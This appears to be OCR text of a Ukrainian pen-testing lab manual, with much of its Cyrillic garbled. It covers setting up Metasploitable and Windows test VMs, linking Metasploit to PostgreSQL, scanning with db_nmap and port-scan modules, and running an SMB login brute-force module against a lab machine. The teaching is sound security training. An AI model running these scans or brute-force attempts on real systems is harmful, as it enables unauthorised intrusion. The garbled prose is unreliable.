—w. JlonaiiTe 4aCTKOBO MO0 BMICT Y 3BIT, MOSICHITH SIK1 JJaHHI B HHOMY MICTSThCH.
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JlaGopaTopna podoTta Ne8

Tema: Posropranus pen-test cranii

Mera: HapuuTuCh BHMKOHYBATH HAaJAIITYBAaHHS BIPTYaJbHUX MEPEKEBUX

aJlanTepiB.

TeopernuHi BizomocTi

Jlnst ©6e3reyHOro BHUKOHAHHS MOJAJBIIMX JIA0OpATOpPHUX POOIT HEOOXIITHO
PO3TOPHYTH POOOUI CTAHIIIT 10 SAKUX Oyje Oe3MeyHO BUKOHYBATU BIUIMBU 10 OYIyTh
OTHCaHi JaJi.

JInst miArOTOBKM CIELIANICTIB MO MPOBEJAEHHIO TECTIB HAa NPOHUKHEHHS Ta
MIJIBUIIICHHIO X KBai(ikarmii BUKOPUCTOBYIOTHCS CIHEIllalibHI Bepcii omepariiHux
cuctem — DVL (Damn vulnerable Linux), DVW (Damn vulnerable Windows) Tta
DVWA (Damn vulnerable web app).

DVL —3a3Buyaii,  NOMUPIOIOThCS  Oe3komToBHO. s BUKOHAHHSA
7a00paTOpPHUX POOIT PEKOMEHAYEThCS BHUKOPUCTOBYBATU JUCTPUOYTUB SAKUU
CHeIiaJbHO PO3pOOJICHO ISl TPEHYBAaHHS CHEIIANICTIB 3 TECTIB HA MPOHUKHEHHS 13
BUKOpUcTaHHAM Metasploit framework — “Metasploitable”. JluctpuOyTuB MOMKIMBO
3aBAHTAXKUTH OE3KOIITOBHO 3 OQIIIMHOTO cailTy po3poOHuKa rapid7.com. s uporo

HEOOXiTHO MPONTH POCTY MPOLEAYPY peecTpariil (pucyHok 1).
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Fill out the form below to download Metasploitable!

First Name: *

Last Name: *

Job Title: =

Job Levet:

Company: *
Work Phone: *

Work Email: *

Country: -

SUBMIT

Pucynox 56 — ®opma peectpartii Ha rapid7

[Ticnst peecTpariii cTaHe MOKJIMBUAM 3aBaHTAXEHHS Zip apXiBy 3 BIPTYaJIbHOIO
MammHoro DVL Metasploitable.

OxpiMm omepairiiiHoi cuctemu Linux juis BUKOHAHHS J1a0OpaTOPHUX POOIT
3HanoouTecst OC Windows. 3aBaHTakeHHsI 00pa3iB BIpTyaJbHUX MalIUH JOCTYITHE
3a MOCWJIAHHSM — IMOCUJIaHHS 2 TICS Mepexoay MO MOCHIIAHHIO HEOOX1THO oOpaTu
BignoBigHy Bepcito Windows (PucyHok 2) Ta mouaTu 3aBaHTaxeHHsS. J[is
3aBaHTaXeHHs BipTyanbHOi MammHu 3 Windows 10 HeoOXimHO miepeiTH 3a

HAaCTYITHHUM ITOCUJIAHHAM — ITOCUJIAHHA 3.
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https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://developer.microsoft.com/en-us/windows/downloads/virtual-machines

Download virtual machines

Test Microsoft Edge and versions of IE8 through IE11 using
free virtual machines you download and manage locally.

Select a download

Virtwal machine

Select one h

Select platform

Select ane R

(@ Before installing, please note:

These virtual machines expire after 90 days. We recommend setting a snapshot when you first
install the virtual machine which you can roll back to later. Mac users will need to use a tool that
supports zip64, like The Unarchiver, to unzip the files.

The password to your VM is "PasswOrd!"

Pucynok 57 — Omnii 3aBanTakeHHs BipTyainbHux oopa3iB OC Windows

[licnst 3aBepiieHHsT 3aBaHTaXEHHA HEOOXIHO 3aBAHTAXXUTH MPOTrPaMHE
3a0€3MeUeHHs JIJIsl 3aIyCKy BIPTyaJlbHUX MallliH. B paMkax 3aHSATh PEKOMEHAYEThCS
BUKOpUCTOBYBaTH VMware Player, po3moBCIO/IKy€eThCsI O€3KOIITOBHO 1 BIAMOBIAE
BUMOTAaM CYMICHOCTI 13 3aBaHTaXE€HUMH, 10 1boro, obpazamu OC. 3aBaHTaKE€HHS
VMware Player MoxuBe 3a TOCUIaHHSM 4.

[Ticnst 3aBaHTaXEHHsSI BCIX HEOOXIIHMX MaTepialiB MOXKHA TEPEUTH [0
HaJlallITyBaHb CaMOr0 CEPEIOBHINA [JIi TOJAJIBIIOIO TMPOBEACHHS TECTIB Ha
npoHUKHEeHHs (pen-tests). Jlis 1boro, crovatrky, BHKOHaWTe iHCTansAiito VMware

Player micis goro 3amyctith Horo (Pucynok 3).
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https://www.vmware.com/products/player/playerpro-evaluation.html

%3 VMware Workstation 12 Player (Non-commercial use only - O X

Player = | - B =

Welcome to VMware
Workstation 12 Player

_ Create a New Virtual Machine

| ‘1 | Create a new virtual machine, which will then be added to
= \'b' the top of your library.

Open an existing virtual machine, which will then be added

= Open a Virtual Machine
]
EE | to the top of your library.

management, and more.

o Upgrade to VMware Workstation Pro
Get advanced features such as snapshots, virtual network
@ Help

View online help.

= This product is not licensed and is authorized for non-
i ‘ : commercial use only, For commerdial use, purchase a
license, Buy now.

Pucynok 58 — VMware Player

PoznakyiiTe zip apxiB 3 HeoOxigHOO OC y TeKy 3a BallluM Oa’kaHHSIM.
[Ticns 3amycky VMware Player nHatucuiTh “Open a Virtual Machine”

(Pucynok 4).

"1_153 ViMware Workstation 12 Player (Non-cormmercial use onh - O >

Player « | - @ I

Welcome to VMware
Workstation 12 Player

Create a New Virtual Machine

'L |l Create a new virtual machine, which wil then be added to
I\ the top of your library.

Open an existing virtual machine, which will then be added

—— — -
= Open a Virtual Machine
= Tl
> ."| to the top of your library.

Get advanced features such as snapshots, virtual network
management, and more,

— I Upgrade to VMware Workstation Pro

Pucynok 59 — Binkputu  BipTyanpHy MamiuHy (MO3HAYEHO  YEPBOHUM

MapKepoM)
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VY crangaptHoMy BikHI “Binkputé (aiin”’ mepeinitb y Teky B SKy OyJo
PO3MaKOBaHO BIPTyalbHY MAIIMHY, 00epiTh *.vimx ¢ailn Ta BiAKpHiATe HOrO.

[licns 4yoro craHe MOXJIMBHM 3aIllyCK BIJIMOBIJHOI BIpTyaJbHOI MAIIUHU

(Pucynok 5).
’:33 WMware Workstation 12 Player (Nen-commercial use only) - O X
Player v | | = B O
@ Home

=
[T Metasploitable2-Linux

Metasploitable2-Linux

State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512 MB

> Play virtual machine

@:T Edit virtual machine settings

Pucynok 60 — 'otoBa 1m0 3amycky BipTyainbHa MamuHa 3 Metasploitable 2
Linux

Jns 3amycky BIpTyainbHOI MamMHM HaTUcHITH ‘“Play virtual machine”
(PucyHoxk 6).

Metasploitable2-Linux

State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512 MB

I P Play virtual machine I

@T Edit virtual machine settings

Pucynok 61 — Play virtual machine (ITo3naueHO 4epBOHHM MapKEepOM)
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[Ticnst Toro sik BipTyajdbHy MalIMHy OyJe J10JaHO, HEOOXITHO HANAIITYBATH ii
obnmagHanHs. J[ms 1mporo HeoOximHo HatucHytd “Edit virtual machine settings”
(Pucynoxk 7)

Metasploitable2-Linux

State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512 MB

P Play virtual machine

I Edit virtual machine settings

Pucynox 62 — Edit virtual machine settings (mo3naueHo 4epBOHHM MapKepOM)

[Ticns 4oro 3’SBUTHCS BIKHO HaJalITYyBaHb BIPTyaJbHOI MalIMHU Ta il

obmagHanus (PucyHok 8).

Virtual Machine Settings x
Hardware  Options
Device Summary Memary
o = Specify the amount of memory allocated to this virtual
| 1EMOTY 512 M8 machine. The memory size must be a multiple of 4 MB.
[ Processors 1
(et Hard Disk (SCSI) 8GB Memory for this virtual machine: 512 = mB
“)CD/OVD (IDE)  Auto detect
El Metwork Adapter MAT 32 6B
@ Metwork Adapt... Host-only 6B
USE Controller Present .
=
-=-JD'SD|BY Auto detect 4GB 4 @ Maximum recommended memory
- (Memory swapping may
occur beyond this size.)
LeE 4 6364 MB
sizME ] <
756 MB [E Recommended memory
125 ME 1024 MB
&4 ME o
O Guest OS recommended minimum
3z ME
512 MB
16 ME
EME
4 MB
E;add. = Remove
Cancel Help

Pucynok 63 — HanamryBaHHs BIpTyaJIbHOI MaIllMHU Ta ii 00JaHaAHHS
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3aBnaHHA:

1. 3aBanTaxkuTH BipTyaibHy MammHy Metasploitable

2. 3aBaHTaXXUTH BIpTyajabHy MamuHy Windows.

3. 3aBantaxutn VMware Player.

4. Po3ropHyTH 3aBaHTQXEH1 BIpTyabH1 MAIlIUHH.

5. BUKoHaTH HajalITyBaHHS BIPTYaJIbHUX MEPEKEBUX aJIalITEPIB.

6. OnucaTy HalAIITYBaHHS MEPEXKEBUX aanTepiB Ta oOIPyHTYBAaTH BHOIp ix
pexuMy poOOTH, OIUC Ta OOTPYHTYBAaHHSI HA/IaTU y 3BITI.

7. lonaty y 3BIT CKPIHILIOTH KJIOYOBUX MOMEHTIB POOOTH.

8. Homatm y 3BIT iHpOpMalil0 MpPO MOMWJIKK IO TPAaNMWIUCh TiA Yac
BUKOHAHHsI 3aBJiaHb (OCOOJMBO MiJl Yac 3alyCKy BIpTyaJIbHHMX MAIMH) Ta HAJaTH

CIOCOOM 1X BUPIIIECHHS.
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JlabopaTtopHa po6oTa Ne9

Tema: ITinrotoBka m10 po6oTu Metasploit Ta postgresql

Meta: HaBuuTtrcs HanamToByBaTH 3’ eiHaHHs Metasploit 3 postgresql

Teopernuni Bitomocri

[licnst po3ropTaHHs BIPTyaIbHUX MAIIUH [JIs TPOBEJCHHS TECTYBAHHS
HeoOxigHO migroroButu Metasploit framework. Jlns 3amycky Metasploit
BiKpHTe/IEpeiIiTh 10 TEpPMiHATYy Ta BUKOHaWTe komaHmy ‘“msfconsole”. Ilicis

3ammycky Metasploit BuBeie OaHep Ta qaHHI po cBoi Moyl (Pucynok 1).

ds, d8P
"BP d888888p
788"
d8P 7?8b 88P
d8P d8888b 8
788,.d88b, d88 d8P' 788 88

788 d d

rustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro —— learn more on http://rapid7.com/metasploit

metasploit v4.11.4-2015071482 1
1467 exploits — 840 auxiliary - 232 post 1
432 payloads — 37 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp |

Pucynox 64 — banep Metasploit Ta nani mpo Moyl

[Ticns 3amycky Metasploit HEOOXiIHO BIEBHUTUCH, IO 0a3a NaHUX, B SKIH
Oyne 30epiratucs iHGOpMaIlis Mpo Balm Il Ta PO JIaHHI TeMIiB, MapoJi, JOTIHH,
CEepBICH MPABWIBHO MIIKIIOYCHA. JIns 11,0ro  HEOOXIAHO BBECTH KOMAaHIYy
“db_status”. Y pasi, skmo, 0aza JaHWX MIAKIIOYEHA BIpHO Oy/e BHUBEICHO

BianoBiaHe noBigomieHHs (PucyHok 2).

69



Easy phishing: Set up email templateg
in Metasploit Pro -- learn more on hf

=[ metasploit v4.11.1-2015031
-- --=[ 1412 exploits - 802 auxilis
-- --=[ 361 payloads - 37 encoders
-- --=[ Free Metasploit Pro trial:

> db_status

postgresqgl connected to msf3
> search email

Pucynok 65 — BiamoBiib mpo yCHilIHe MiAKII0YeHHS 031 TaHuX

VY pasi skmo b/l He Oyna mikiIro4eHa HeOOX1THO CIpOOYBaTH MiAKIIOUYUTH il

BPYYHY, JUIS IOTO BBEiTH KoMaHay “db_connect” (Pucynok 3).

> db_connect root@metasploit
Rebuilding the module cache im the background...

Pucynok 66 — Pyuyne minkmouenns g0 b/l 3 Metasploit

VY TomMy pa3i, SKII0 BCE XK, MIJKIOYECHHS BCTAHOBUTU HE BJAJIOCS HEOOX1THO

iHimam3zyBatu bl ayis mpboro HeoOXimHO BUKOHATH KoMmaHay “msfdb init” Bix iMeHi

root, 1 He 3 KoHcoI1 Metasploit.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

:~# service postgresql restart

Enter it again:
Creating databases 'msf' and 'msf_test'

Creating configuration file in /usr/share/metasploit-framework/config/database.y
ml

Creating initial database schema

Pucynox 67 — Po6oTa komanau msfdb init

[Ticns Baanoi iHimiamizanii 6a3u 1aHuxX HeoOX1aHO nepe3amyctutu Metasploit.

JlomaTtkoBoO, IEpeKOHANTECH IO cepBic “postgresql” 3amyieHo.
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[Ticns Bpmamoro migkmodeHHs 10 bJl, MOX/IMBO BHKOHAaTH 0a30Bi
HATAIITYBaHHS TJ00aIbHUX 3MIHHUX (PEUMBOPKY, TaKuX SK, Hampukiaax “rhost”,
“lport” Ta iHmn. IloapoOuIill MHUX HaJAIITyBaHb MOJJIHUBO TEPEAUBUTUCS 3a
70moMoror koMauau “help”. BcTaHOBUTH 3Ha4YEeHHS TJIOOQIBHOI 3MIHHOT MOYKJIMBO

BUKOPHUCTOBYIOUH “‘setg <iM’si_ 3MIHHOI>".

3aBaaHHA:

1. Bukonaru 3anyck Metasploit

2. HanamryBatu migkmodeHsst 10 bJ]

3. BcranoButn 6a308Bi ri1o0anbHI 3MiHHI, HAJIATH BIAOMOCTI PO HUX Y 3BITI.

4. OOrpyHTYyBaTH BCTAHOBJICHHI 3HAUYE€HHS I100aJIbHUM 3MIHHUM

5. Hagatu y 3BiTi BiIOMOCTI TIpo OCHOBHI KoMaHau Metasploit (He MeHIe

CEMH).
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JlabopaTtopna po6ora Nel0

Tema: 36ip iHpopmMarlii 3a nonomororo Metasploit

Mera: HaBunTrcs BukopucToBYyBaTH BOY10BaHi1 Moyl Metasploit framework

U1 300PY JaHUX TIPO LT

TeopernuHni BizomocTi

Oxpim, Oe3nocepeHbO, EKCIUIONTIB Ta neioaaiB Metasploit Bkiitouae BeIuKy
KUIBKICTh CKaHEPIB, Ha PI3HOMAaHITHI BUIIA/IKH.

OpHuM 13 HAWPO3MOBCIO/HKEHIIINX Ta HAMYXUBAHIIMIUX Y MPAKTUIl CKAHEPIB
3aMMmaEeThcs —nmap. Bin ke BrimoueHnidi 1 go  Metasploit, oaHak ioro
BUKOPUCTAHHA JCIIO BIJPI3HAETHCA BiJl BUKOPUCTAHHS 1032 MeXaMu (peiiMBOpKY.
HaiironoBHima BiZIMiHHICTh — BC1 JIaHHI 110 OyayTh 3HalIeH1 OyayTh 3anucani y BJ]
ska OyJia MiAKII0YeHa MPU BUKOHAHHI JIJabopaTopHOi poboTu No§.

3roaomM, Miciist TOTO SIK CKaHyBaHHs Oyjie 3aBepllieHe, JaHl CKaHyBaHHS OyIyTh
nonadi y bJl crane MOKJIMBUM HIBUIKO Ta Y 3py4HOMY (hopMaTi OTpUMATH AaHHI 1110
IIKABJIATh BUKJIMKAIOUYM KOMAaHJM, Ha KIITAIT “hosts” — sika BUBEIE HAa €KpaH JaHl

PO XOCTH siKi Oyyn npockanoBani (Pucyrok 1).

msf > hosts

server

Pucynox 68 — IIpuxian Bukoprctanus komanau hosts
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root@kali: ~ @ ® 0
File Edit View Search Terminal Help

| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:01:42
| source ident: nmap
| source host: CEA81BDO.FOD9233E.FFFA6D49.IP
: |_ error: Closing Link: gqojgycqja[192.168.0.104] (Quit: gojgycqja)
: 8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
| ajp-methods: Failed to get a valid response for the OPTION request
180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| _http-favicon: Apache Tomcat
| _http-server-header: Apache-Coyote/1.1
| _http-title: Apache Tomcat/5.5
: Aggressive 0S guesses: Actiontec MI424WR-GEN3I WAP (99%), DD-WRT v24-sp2 (Linux 2.4.37) (98%), Linux 3.2 (98%), Micro
soft Windows XP SP3 or Windows 7 or Windows Server 2012 (96%), Linux 4.4 (96%), Microsoft Windows XP SP3 (96%), BlueArc Titan 2
NAS device (91%)
Nmap: No exact 0S matches for host (test conditions non-ideal).
Nmap: Network Distance: 2 hops

Nmap: Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:1li
:linux_kernel

Nmap: Host script results:

Nmap: | _clock-skew: mean: 3s, deviation: O0s, median: 2s

Nmap: | _nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Nmap : |'smb-os-discovery:

Nmap: | 0S: Unix (Samba 3.0.20-Debian)

Nmap: | NetBIOS computer name:
|
|

Nmap: Workgroup: WORKGROUP\x00

Nmap : System time: 2017-07-23T03:04:50-04:00

Nmap: TRACEROUTE (using port 80/tcp)

Nmap: HOP RTT ADDRESS

Nmap: 1 0.04 ms 192.168.40.2

Nmap: 2 0.07 ms 192.168.0.100

Nmap: 0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap: Nmap done: 1 IP address (1 host up) scanned in 43.22 seconds

|

e ———

Pucynoxk 2 — Buxkopucranus db_nmap 3 kimouom -A y Metasploit
Jlns Toro mo0 gaHHI ckaHyBaHHS Oyio moxaHi y bl HeoOXiTHO BUKOpHCTATH

koMmaHAay “db nmap” pazoM 13 HEOOX1THUMU KJIFOUaMU Ta HaJAIITyBaHHIMU SIK1

PO3MIISIANINCH Y BIATOBIAHIHM JabopaTopHii po6oTi (PucyHok 2).
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root@kali: ~ @ e 0
File Edit View Search Terminal Help
auxiliary/scanner/http/error_sql_injection normal HTTP Error Based SQL Injection Scanner
auxiliary/scanner/http/etherpad_duo_login normal EtherPAD Duo Login Bruteforce Utility
auxiliary/scanner/http/f5_bigip_virtual server normal F5 BigIP HTTP Virtual Server Scanner
auxiliary/scanner/http/f5_mgmt_scanner normal F5 Networks Devices Management Interface Scanner
auxiliary/scanner/http/file_same name dir normal HTTP File Same Name Directory Scanner
auxiliary/scanner/http/files_dir normal HTTP Interesting File Scanner
auxiliary/scanner/http/frontpage login normal FrontPage Server Extensions Anonymous Login Scanner
auxiliary/scanner/http/gavazzi_em login loot normal Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Dat
labase
auxiliary/scanner/http/git scanner normal HTTP Git Scanner
auxiliary/scanner/http/gitlab_login normal Gitlab Login Utility
auxiliary/scanner/http/gitlab_user enum 2014-11-21 normal GitlLab User Enumeration
auxiliary/scanner/http/glassfish login normal GlassFish Brute Force Utility
auxiliary/scanner/http/goahead_traversal normal Embedthis GoAhead Embedded Web Server Directory Traversal
auxiliary/scanner/http/groupwise agents http traversal normal Novell Groupwise Agents HTTP Directory Traversal
auxiliary/scanner/http/host_header_injection normal HTTP Host Header Injection Detection
auxiliary/scanner/http/hp_imc_bims_downloadservlet traversal normal HP Intelligent Management BIMS DownloadServlet Directory Traversal
auxiliary/scanner/http/hp_imc_faultdownloadservlet traversal normal HP Intelligent Management FaultDownloadServlet Directory Traversal
auxiliary/scanner/http/hp_imc_ictdownloadservlet traversal normal HP Intelligent Management IctDownloadServlet Directory Traversal
auxiliary/scanner/http/hp_imc_reportimgservlt_traversal normal HP Intelligent Management ReportImgServlt Directory Traversal
auxiliary/scanner/http/hp_imc_som_file download normal HP Intelligent Management SOM FileDownloadServlet Arbitrary Download
auxiliary/scanner/http/hp_sitescope getfileinternal fileaccess normal HP SiteScope SOAP Call getFileInternal Remote File Access
auxiliary/scanner/http/hp_sitescope getsitescopeconfiguration normal HP SiteScope SOAP Call getSiteScopeConfiguration Configuration Access
auxiliary/scanner/http/hp_sitescope loadfilecontent fileaccess normal HP SiteScope SOAP Call loadFileContent Remote File Access
auxiliary/scanner/http/hp_sys _mgmt login normal HP System Management Homepage Login Utility
auxiliary/scanner/http/http_header normal HTTP Header Detection
auxiliary/scanner/http/http_hsts normal HTTP Strict Transport Security (HSTS) Detection
auxiliary/scanner/http/http_login normal HTTP Login Utility

auxiliary/scanner/http/http put normal HTTP Writable Path PUT/DELETE File Access
auxiliary/scanner/http/http_traversal normal Generic HTTP Directory Traversal Utility
auxiliary/scanner/http/http version normal HTTP Version Detection
auxiliary/scanner/http/httpbl_lookup normal Http:BL Lookup
auxiliary/scanner/http/iis_internal ip normal Microsoft IIS HTTP Internal IP Disclosure
auxiliary/scanner/http/influxdb_enum normal InfluxDB Enum Utility

PI/ICYHOK 3 - BI/IKOPI/ICTaHHH KOMaHIH1 search 3 KJIFOYOBHM CJIOBOM scanner

OxpiM 11bOT0, PpeVMBOPK BKIIIOUAE B cOO1 OUIbIN crienu(piyHl CKaHEpH, SKi
BUKOPUCTOBYBATH [IJIi YTOUHEHHS BXKE€ OTpHMaHoi iH(dopmariii adbo MOIIyKy 4oroch
KOHKpPETHOro 0e3 3aiiBoi B3aeMOJlli 3 LUIbOBOK cucTeMolo. Crneuudiui ckaHepu
MOJKJIMBO 3HAWTH y PO37iUT JomoMikHUX 3aco0iB (auxiliary) dpeiimBopky. s
nepersiay 3aco0iB (pelMBOPKY 3pYYyHO BUKOPHUCTOBYBATH KoMaHAy ‘‘search” —
“search <kirouoBE CIOBO>", HaNpUKIAL JJIs TEperiisiay CckaHepiB — “search
scanners” (PucyHok 3).

Jlnst Toro mo6 oOpaTh OJUH 3 CKaHEpiB HEOOXIAHO BUKOPUCTATH KOMAaHIy
“use” 1 BKa3aTH MUIAX JIO BIAMOBIAHOTrO cKkaHepa (a0o Moyt ppeiiMBOPKY, KOMaH1a
“use” BUKOPUCTOBYETHCSA IS MIAKIIOUEHHS Oynb-skoro moxynst y Metasploit).
Hanpuxnan, mms toro moO BuzHauutu jume TCP mopTtu Ha TeBHIM MamiuHi
MOKJIMBO BUKOPHUCTATH cKaHep “‘auxiliary/scanner/portscan/tcp”. Ilicis Toro sik oro

Oylne MIAKIIOYEHO BapTO TNEPEerNISIHYyTH HOTO OIKC, II€ MOXJIUBO 3pOOUTH 3a

J0TIOMOT 010 KoMaH ¥ “show” Ta omii “info” (Pucynok 4).
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File Edit View Search Terminal Help
msf auxiliary( ) = set rhosts 192.168.0.100
rhosts => 192.168.0.100

msf auxiliary( I |

Pucynok 4 — Ieperisa aeranpHoi iHGopMariii mpo moayis (Show info)

root@Kali: ~ @ ® 0
File Edit View Search Terminal Help

rhosts => 192.168.0.100
msf auxiliary( ) > exploit

192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

.100: - 192.168.
.100: - 192.168.
100: - 192.168.
.100: - 192.168.
.100: - 192.168.
100: - 192.168.
100: - 192.168.
.100: - 192.168.
.100: - 192.168.
100: - 192.168.
100: - 192.168.
.100: - 192.168.
.100: - 192.168.
100: - 192.168.
100: - 192.168.
100: - 192.168.
.100: - 192.168.
H - 192.168.
100: - 192.168.
.100: - 192.168.
.100: - 192.168.
.100: - 192.168.
100: - 192.168.
.100: - 192.168.
192.168.0.100: - 192.168.0.100: - TCP OPEN
192.168.0.100: - 192.168.0.100: - TCP OPEN
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary( ) >

.100: - TCP OPEN

.100: - TCP OPEN

.100: - TCP OPEN

.100: - TCP OPEN

.100: - TCP OPEN

.100: - TCP OPEN

.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN
.100: - TCP OPEN

[cRojlofoolololofololofololofolofoloololloflolloolollo]
[cRooooololoololoololololofololololololloollolo]

[*]
[*]
%1
[*]
[*]
[*]
[
[*]
[*]
[*]
5
[*]
[*]
[*]
[*]
[*]
[*]
(%]
[l
[
[*]
[%]
[*]
[*]
%]
[*]
[*]
[*1
ms

*
*
*
B
+
¥
*
S

Pucynok 5 — BcTaHoBI€HHS 3HAYEHHS OTIIIT

[Ticns mepernsiay iHGOpMallii Mpo MOAYJIb HEOOXIAHO MOro HajamrTyBatd. Y
Osori AetanbHOI 1H(pOpMAIi BXKE TOKa3aHl Omiii Ta iX MOTO4YHI 3Ha4YeHHsS. J[s
BUBOJY 1H(OpMAITiT JTUIIIE TIPO OMIlli MOTOYHOTO MOYJISi BAKOPHCTOBYETHCS KOMaH/1a
“show” 3 omuiero “options”. [ BCTaHOBJEHHS TIEBHOTO 3HAYECHHS OIIIIi
BUKOPUCTOBYEThCS KOMaHAa ‘“‘set”. [[isi BCTAaHOBIIGHHS 3HAYEHHSI TJ100aIbHOT OMITT —

“setg”. [Ipuknan:
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Jlia 3amycky poOOTH MOTOYHOTO MOAYJS HEOOX1AHO BUKOPUCTATH KOMAaHIY
“exploit” abo “run”. Busig momynsa “auxiliary/scanner/portscan/tcp” 300paxeHo Ha

Pucynok 6.

root@Kkali: ~ e ® 0
File Edit View Search Terminal Help
msf auxiliary( ) > show info

Name: TCP Port Scanner
Module: auxiliary/scanner/portscan/tcp
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm. io>
kris katterjohn <katterjohn@gmail.com>

Basic options:
Name Current Setting Required Description

The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER [¢] yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

Description:
Enumerate open TCP services by performing a full TCP connect on each
port. This does not need administrative privileges on the source
machine, which may be useful if pivoting.

msf auxiliary( I |

Pucynox 6 Pesynbrar poboTu ckanepa auxiliary/scanner/portscan/tcp

3aBaaHHA:

1. BukoHaTH CKaHyBaHHSA OJHI€I a00 NBOX BIPTYyaJIbHUX MAIIWH M0 OynH
3aBaHTaXKEH1 y MONepeIHIX J1abopaTopHUX poOOTax.

2. BukoHaTu ckaHyBaHHs 3a onoMoroto “db_nmap”.

3. BukoHatu ckaHyBaHHS 3a JIOIOMOT'OI0 HE MEHIII Hi’K TPhOMa JOJJaTKOBUMU
MO/TYJISIMH.

4. 30epertu pe3yiabTaTH cKanyBaHHs y BJ]

5. V 3BIT mopaTu pe3ynbTaTH CKaHyBaHHS MoayniB Ta “db _nmap”, HagaTu

KOPOTKY XapaKTEPUCTUKY PE3yIbTaTiB pOOOTH MOJIYIIB.
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JlabopaTtopna podora Nell

Tema: [Tomyk BpaznuBocTel 3a nornoMmoror Metasploit

Mera: HaBuuTuCS BHKOHYBaTH IIOIIYK Bpa3JIMBOCTEH, BUKOPHUCTOBYIOYH

3acobu Metasploit ¢ppeitmMBoOpKy

TeopernuHi BizomocTi

301p 1H(popmarlii Ta ii aHasi3 npo LUIb € HAMOUTBII BaXJIMBOKO 33Ja4€l0 MiJ] Yac
IIPOBE/ICHHS TECTYBaHb HA NPOHUKHEHHS, TOMY Metasploit Mae MMPOKI MOXKIMBOCTI
1o ii 300py Ta 30epiraHHto, 110 Ja€ 3MOTY OUIbII e(PEeKTUBHO 11 aHATI3yBaTH.

Opniero 3 TexHiK 1o 300py iH@opmartli € “Login attempt” — cnpoba BXony.
Bona gae 3mory nepexkoHaTHcs 110 CEPBICH K1 JOCTYIIHI 330BHI HE BUKOPUCTOBYIOTh
MapoJiiB Ta JIOTIHIB 3a 3aMOBYYBaHHSIM, a00 3aHaATo mpocTi. Ll TexHika JOCUTH
IIyMHa, TE€HEpPYy€ 3aliCH Yy JIOTH 1 MOXXE€ BHUKJIMKATH CHPALIOBAHHSI CHCTEMH
BU3HAYCHHS BTOPTHEHb, aJieé BOHA XK JI03BOJIsIE€ 30epertu 06arato yacy i SKIIO BIJOMO
[0 MEHE/DKMEHT IHIuACHTIB Ib B opranizaiii He HamaroJpkKeHo sk ciija (To0To
JOCHUTb IpyO1 A1 MOKYTh 3aJTUIIUTUCh HEMNOMIYEHUMH ) — 1i MO>KJIMBO 3aCTOCOBYBATH.

Benuky KinbKiCTh MOJYJIIB SIK1 JIO3BOJISIFOTH Peaji3yBaTH 10 TEXHIKY MOKIIMBO
3HAUTH 3a KJIIOYOBHM cioBoM “login” y poszaim “auxiliary/scanner/”. PosriasHemo
npukiang pobotu Takoro wmoxyias s SMB. lleit monmynb 3HaXOguUThCA Y
“auxiliary/scanner/smb/smb_login”.  binbmiicTe ommiii  OTO  MOIYJS  BXKe
HaJAIITOBAHO, aJie AesKi 3 oniii € cneundiunnmu, Hanpukiag — “PASS FILE”. s
OMIIisl T03BOJIsIE 0OpaTH (ailyi-CIIOBHUK 3 MApOJIsMU sIKI OyAyTh BUKOPUCTAHI IMiJT 9ac
cnpobu Bxoay, Ha kmrTant bruteforce. Tyt ke BapTO BIAMITUTH 1 OIMIIO
“BRUTFORCE_SPEED” mio nae 3Mory HajlamTyBaTH IIBHUAKICTH nepedopy. Ilicns
TOTO SIK MOJYJIb OyJI0 00paHo (3a JOMOMOro KOMaHAM “use”) Ta 3KOH()IrypoBaHO
fioro MOXJIHMBO BUKOpUCTOBYBaTH. [lpukiian poOOTH Moayns 300pakeHO Ha

Pucynok 1.
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root@kali: ~ © ® 0

File Edit View Search Terminal Help
Imsf auxiliary( ) > run

[*] 192.168.0.100:445 - SMB - Starting SMB login bruteforce
[*] 192.168.0.100:445 - This system does not accept authentication with any credentials, proceeding with brute force
192.168.0.100:445 - SMB - Failed: '.\msfadmin:msfadmin', Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Insf auxiliary( ) > 1

Pucynox 69 — IIpuxman po6oTu Moayis o peaiizye TexHiky "Login attempt"

IIle onHi€er0 3 MNOMMPEHUX 1 KPUTUYHUX BPA3NIMBOCTEH € IOraHo
koH(pirypoBanuii VNC cepBic. Cepen pgonmatkoBux 3aco0iB  Metasploit €
